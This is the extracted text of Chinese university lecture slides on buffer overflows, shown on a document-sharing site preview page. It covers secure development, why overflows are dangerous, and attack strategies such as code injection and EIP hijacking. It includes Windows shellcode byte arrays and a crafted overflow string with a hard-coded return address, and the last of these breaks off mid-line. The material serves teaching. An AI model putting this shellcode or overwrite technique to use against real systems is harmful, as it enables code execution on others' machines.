01 緩沖區(qū)溢出概述_第1頁
01 緩沖區(qū)溢出概述_第2頁
01 緩沖區(qū)溢出概述_第3頁
01 緩沖區(qū)溢出概述_第4頁
01 緩沖區(qū)溢出概述_第5頁
已閱讀5頁,還剩12頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

緩沖區(qū)溢出原理教師:姚礪辦公室:計算機學院樓121Email:內容軟件開發(fā)的平安性緩沖區(qū)溢出原理軟件質量軟件質量問題引發(fā)的事故根據(jù)美國航空業(yè)的調查說明,由于軟件質量問題導致的經(jīng)濟損失巨大:1996年損失6.4億美元、1997年損失1.17億美元、1998年損失2.55億美元、1999年損失16億美元。“運行正確〞的程序就是高質量的程序嗎?也許運行速度很低并且浪費內存;(性能差)也許代碼的平安性很差;(有漏洞)也許代碼寫得一塌糊涂;(可維護性差)也許…已經(jīng)沒有也許軟件質量McCall的軟件質量模型產(chǎn)品運行產(chǎn)品修改產(chǎn)品轉移正確性可靠性效率安全性完整性易用性可維護性靈活性可測試性可移植性重復使用性伸縮性軟件開發(fā)的平安性隨著企業(yè)一窩蜂似地采用電子商務,平安性不再是一件微缺乏道的事情了,它已經(jīng)開始成為一個重要的問題。作為開發(fā)人員,必須保證所編寫的系統(tǒng)的平安性。但是,平安性不是一個可被添加到現(xiàn)有系統(tǒng)的功能部件。和許多用收縮性薄膜包裝用戶商品的供給商所認為的相反,不能在完成系統(tǒng)之后把有效的平安性象擰螺絲一樣擰到系統(tǒng)中去。平安性是軟件系統(tǒng)在系統(tǒng)范圍存在的特性。因此,從設計軟件的最開始就應該考慮到平安性。平安性就象保險、可依賴性、可靠性或任何其它的軟件特性。就如同使用一個不可靠系統(tǒng)再添加一個“可靠性〞模塊然后希望獲得無錯的軟件是不可能的一樣,把平安性象另外一個功能部件一樣添加到應用程序也是不可能的?!安迦胄扪a〞方法不是一個好方法許多眾所周知的軟件供給商好象不理解平安性不是一種可添加的功能部件。他們繼續(xù)以驚人的速度設計并生產(chǎn)產(chǎn)品,而很少注意平安性。他們只有在其產(chǎn)品遭到公開地〔并且經(jīng)常是突如其來地〕損害時才開始擔憂平安性。然后,他們匆忙趕制出一個補丁程序,而不是意識到從一開始就考慮平安性是更好的方法。軟件開發(fā)的平安性這種方法在電子商務應用程序中行不通。問題包括:開發(fā)人員只能夠修補他們知道的問題。攻擊者可能會找到他們決不會向開發(fā)人員報告的問題。由于系統(tǒng)管理員通常工作過度,并且他們不想更改“有效〞的系統(tǒng),因此他們一般不會應用補丁程序。有時管理員甚至沒有意識到應該將某一重要的補丁程序應用到系統(tǒng)上。供給商們通常是迫于市場壓力才趕制出補丁程序,因此經(jīng)常會在補丁程序中引入新的問題。補丁程序僅僅只是修補某一問題的病癥,它們不能解決根本的原因。因此,我們應該防止遇到試圖修補一個遭到攻擊者猛烈攻擊的問題的絕望局面。從簡單的經(jīng)濟性考慮,在發(fā)布軟件系統(tǒng)之前找到并除去錯誤的本錢比發(fā)布后再試圖修復系統(tǒng)的本錢要低得多也有效得多。通過設計平安系統(tǒng)、仔細實現(xiàn)該系統(tǒng)、然后在發(fā)布之前全面測試該系統(tǒng),我們可以消除這些問題,并開發(fā)出一個不依賴補丁程序的真正平安的系統(tǒng)。平安保證的四招:平安性保證設計系統(tǒng)時要有平安性觀念。應該在開發(fā)周期的所有階段中考慮平安性,而不是事后想到它時再補救。平安性并不是一個隨時都可以添加到系統(tǒng)中的根本功能部件。平安性就象容錯;它是一個需要有效、仔細地規(guī)劃和設計的遍布于整個系統(tǒng)的特性。例如:從運行支撐環(huán)境平安角度出發(fā),應考慮操作系統(tǒng)、數(shù)據(jù)庫、應用效勞器、第三方控件等的平安性;從用戶的使用角度出發(fā),應考慮權限管理、身份驗證;從數(shù)據(jù)的平安性出發(fā),信用卡號是敏感信息,應該保護它們防止可能的竊聽〞……根據(jù)和預期的風險分析系統(tǒng)。識別潛在的風險、發(fā)生這些風險的可能性以及它們可能到達的嚴重程度。首先識別的攻擊可能會應用到身邊系統(tǒng)的何處,然后按嚴重性給它們劃分等級。風險的相對嚴重性非常依賴于身邊系統(tǒng)的需要和目標。風險評估是確定如何分配測試和分析資源的關鍵。編寫平安代碼平安性測試技術進行風險測試。從設計過程開始對破壞的系統(tǒng)重復以上步驟。靜態(tài)分析,它不實際運行代碼而只是通過查看代碼以找出潛在的脆弱性動態(tài)分析,它通過實際運行代碼來測試代碼。應用常見平安性技術許多系統(tǒng)架構設計師的一個常見的誤解是,使系統(tǒng)平安的方法歸根結底是防火墻和密碼術。漏洞概述Bug與漏洞漏洞挖掘漏洞分析漏洞利用緩沖區(qū)溢出漏洞—十年來最大的平安問題在信息平安日益被人們所關注的今天,緩沖區(qū)溢出毫無疑問的是最大的平安威脅之一。Internet上的第一例蠕蟲〔Morris〕攻擊,就是利用了fingerd的緩沖區(qū)溢出漏洞。SANS評選出的2005年威脅最大的20個漏洞中,有8個跟緩沖區(qū)溢出有關。根據(jù)CERT的統(tǒng)計數(shù)據(jù),近幾年與緩沖區(qū)溢出有關的平安事件在50%以上。代碼注入攻擊是指攻擊者本地或者遠程向進程的線性地址空間注入一段可執(zhí)行的二進制代碼,然后通過某種手段修改進程的正常控制流程,使進程執(zhí)行這段代碼,從而到達預定目的的攻擊行為。緩沖區(qū)溢出攻擊在嚴格意義上是指這一類攻擊的一個子類。由于攻擊者注入代碼的位置通常在緩沖區(qū),而且修改進程的正常流程往往需要利用對緩沖區(qū)缺乏邊界檢查的編程錯誤,所以,以“緩沖區(qū)溢出攻擊〞指代全體。緩沖區(qū)溢出的原理當程序寫入超過緩沖區(qū)的邊界時,這就是所謂的“緩沖區(qū)溢出〞。發(fā)生緩沖區(qū)溢出時,會覆蓋下一個相鄰的內存塊。由于C語言本質上的不平安性,所以它允許程序隨意〔或者更準確地說是完全出于偶然〕溢出緩沖區(qū)。沒有運行時檢查來這一防止寫入超過緩沖區(qū)末尾,所以程序員必須在其自己的代碼中執(zhí)行這一檢查,否那么繼續(xù)下去會遇到問題。通過往程序的緩沖區(qū)寫超出其長度的內容,造成緩沖區(qū)的溢出,從而破壞程序的堆棧,使程序轉而執(zhí)行其它指令,以到達攻擊的目的。造成緩沖區(qū)溢出的原因是程序中沒有仔細檢查用戶輸入的參數(shù)。例如下面程序:

voidfunction(char*str){

charbuffer[16];

strcpy(buffer,str);

}

為什么緩沖區(qū)溢出是平安性問題?問題:往杯子里倒過多的水使水溢出杯子對人能造成多大的傷害?當緩沖區(qū)溢出時,額外的數(shù)據(jù)會摧殘程序將來可能要訪問的其它有用的數(shù)據(jù)。有時,這些其它數(shù)據(jù)的更改會導致平安性問題。讀取或寫入超過緩沖區(qū)的末尾時,會導致許多不同〔并且通常是不可預料的〕行為:1)程序的執(zhí)行很奇怪,2)程序完全失敗,或者3)程序可以繼續(xù),而且在執(zhí)行中沒有任何明顯不同。緩沖區(qū)溢出的副作用取決于:寫入的數(shù)據(jù)中有多少超過緩沖區(qū)邊界當緩沖區(qū)已滿并且溢出時,覆蓋了哪些數(shù)據(jù)〔如果有的話〕程序是否試圖讀取溢出期間被覆蓋的數(shù)據(jù)哪些數(shù)據(jù)最終替換被覆蓋的內存存在緩沖區(qū)溢出的程序的不確定行為使得對它們的調試異常棘手。最壞的情況是:程序可能正發(fā)生緩沖區(qū)溢出,但根本沒有任何副作用的跡象。因此,緩沖區(qū)溢出問題常常在標準測試期間是發(fā)現(xiàn)不了的。認識緩沖區(qū)溢出的重要一點是:在發(fā)生溢出時,會潛在地修改碰巧分配在緩沖區(qū)附近的任何數(shù)據(jù)。緩沖區(qū)溢出漏洞的危害緩沖區(qū)溢出漏洞比其他一些黑客攻擊手段更具有破壞力和隱蔽性。這也是利用緩沖區(qū)溢出漏洞進行攻擊日益普遍的原因。它極容易使效勞程序停止運行,效勞器死機甚至刪除效勞器上的數(shù)據(jù)。它的隱蔽性主要表現(xiàn)在下面幾點:首先,漏洞被發(fā)現(xiàn)之前一般程序員是不會意識到自己的程序存在漏洞,漏洞的發(fā)現(xiàn)者往往并非編寫程序的程序員,從而疏忽監(jiān)測;其次,shellcode都很短,執(zhí)行時間也非常短,很難在執(zhí)行過程中被發(fā)現(xiàn);第三,由于漏洞存在于防火墻內部,攻擊者所發(fā)送的字符串一般情況下防火墻不會阻攔,而攻擊者通過執(zhí)行shellcode所獲得的是本來不被允許或沒有權限的操作,在防火墻看來也是合理合法的。防火墻在對遠程緩沖區(qū)溢出攻擊的監(jiān)測方面有先天的缺乏;第四,一個完整的shellcode的執(zhí)行并不一定會使系統(tǒng)報告錯誤,并可能不影響正常程序的運行;第五,攻擊的隨機性和不可預測性使得防御攻擊變得異常艱難,而沒有攻擊時,攻擊程序并不會有什么變化這和木馬有著本質的區(qū)別,這也是堆棧溢出最難被發(fā)現(xiàn)的原因;最后,緩沖區(qū)溢出漏洞的普遍存在,使得針對這種漏洞的攻擊防不勝防各種補丁程序也可能存在著這種漏洞。另外,還存在著攻擊者成心散布存在漏洞的應用程序的可能。攻擊者還可以借用木馬植入的方法,成心在被攻擊者的系統(tǒng)中留下存在漏洞的程序,這樣做不會因為含有非法字段而被防火墻拒絕;或者利用病毒傳播的方式來傳播有漏洞的程序,和病毒不同的是,它在一個系統(tǒng)中只留下一份拷貝(要發(fā)現(xiàn)這種情況幾乎是不可能的。緩沖區(qū)攻擊的目的攻擊的目的利用緩沖區(qū)漏洞造成被攻擊者的效勞拒絕利用緩沖區(qū)漏洞提升權限直接利用遠程效勞的緩沖區(qū)溢出漏洞,從遠程得到目標的控制權。攻擊程序所要解決的兩個問題在被攻擊程序的地址空間安排適當?shù)拇a。通過適當?shù)某跏蓟娣牌骱蛢却?,讓程序跳轉到入侵者安排的地址空間執(zhí)行。緩沖區(qū)溢出攻擊策略之瞞天過海—代碼植入//以下代碼執(zhí)行數(shù)組shellcode[]unsignedcharshellcode[]="\xEB\x42\x8B\x59\x3C\x8B\x5C\x0B\x78\x03\xD9\x8B\x73\x20\x03\xF1""\x33\xFF\x4F\x47\xAD\x33\xED\x0F\xB6\x14\x01\x38\xF2\x74\x08\xC1""\xCD\x03\x03\xEA\x40\xEB\xF0\x3B\x6C\x24\x04\x75\xE6\x8B\x73\x24""\x03\xF1\x66\x8B\x3C\x7E\x8B\x73\x1C\x03\xF1\x8B\x04\xBE\x03\xC1""\x5B\x5F\x53\xC3\xEB\x4F\x33\xC0\x64\x33\x40\x30\x8B\x40\x0C\x8B""\x70\x1C\xAD\x8B\x48\x08\x58\x33\xDB\x33\xFF\x66\xBF\x33\x32\x57""\x68\x75\x73\x65\x72\x8B\xFC\x53\x51\x53\x50\x50\x53\x57\x68\x54""\x12\x81\x20\xE8\x8A\xFF\xFF\xFF\xFF\xD0\x8B\xC8\x68\x25\x59\x3A""\xE4\xE8\x7C\xFF\xFF\xFF\xFF\xD0\x59\x68\x97\x19\x6C\x2D\xE8\x6F""\xFF\xFF\xFF\xFF\xD0\xE8\xAC\xFF\xFF\xFF""hello,world!";voidmain(){((void(*)())&shellcode[0])();}將需要運行的代碼放從文件中讀入#include<stdio.h>voidmain(){ unsignedcharshellcode[1000]; FILE*fp=fopen("shellcode.txt","r"); fread(shellcode,166,1,fp); shellcode[166]='\0'; fclose(fp); ((void(*)())&shellcode[0])();

}進一步聯(lián)想,如果是一個網(wǎng)絡程序〔例如效勞器〕,從網(wǎng)絡接收一串數(shù)據(jù)保存到數(shù)組中并運行,而這串代碼又是惡意代碼……….傻不傻啊,居然會有這樣的軟件設計—學生甲留!OK,他不能,我們讓他能!緩沖區(qū)溢出攻擊之第二招:劫持EIP。緩沖區(qū)溢出攻擊策略之瞞天過?!a植入緩沖區(qū)溢出攻擊策略之劫持EIPEIP的作用函數(shù)調用的本質改變程序的執(zhí)行流程#include<string.h>voidMyCopy(char*str){

charbuff[4];

strcpy(buff,str);}voidmain(){

charinput[]="aaaaaaaaaaaa";

MyCopy(input);}#include"string.h"

voidMyCopy(char*str)

{

charbuff[4];

strcpy(buff,str);

}intmain()

{

charbuffer[]=

"aaaaaaaa\x12\x45\xfa\x7f"

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"

"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"

"\x77\x1d\x80\x7c"

"\x52\x8D\

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論